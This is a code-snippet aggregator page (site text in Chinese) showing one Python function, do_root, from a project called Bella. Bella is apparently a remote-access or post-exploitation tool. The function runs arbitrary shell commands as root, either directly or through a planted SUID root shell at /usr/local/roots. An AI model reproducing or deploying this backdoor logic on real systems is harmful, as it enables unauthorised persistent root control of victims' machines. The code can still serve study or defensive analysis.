Bella.py 文件源码

python
阅读 21 收藏 0 点赞 0 评论 0

项目:Bella 作者: Trietptm-on-Security 项目源码 文件源码
def do_root(command):
    if os.getuid() == 0:
        output = subprocess.Popen("%s" % command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        out = output.stdout.read()
        err = output.stderr.read()
        if output.wait() != 0:
            return (False, '%sWe are root, but there was an error.\n%s%s' % (blue_star, yellow_star, err))
        return (True, "%s\n" % out)
    else:
        if not is_there_SUID_shell():
            return (False, '%sThere is no root shell to perform this command. See [rooter] manual entry.\n' % red_minus)
        output = subprocess.Popen("/usr/local/roots \"%s\"" % (command), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        out = output.stdout.read()
        err = output.stderr.read()
        if err != '':
            return (False, '%sThere is a root shell to perform this command, but there was an error.\n%s%s' % (blue_star, yellow_star, err))
        return (True, "%s\n" % out)
评论列表
文章目录


问题


面经


文章

微信
公众号

扫码关注公众号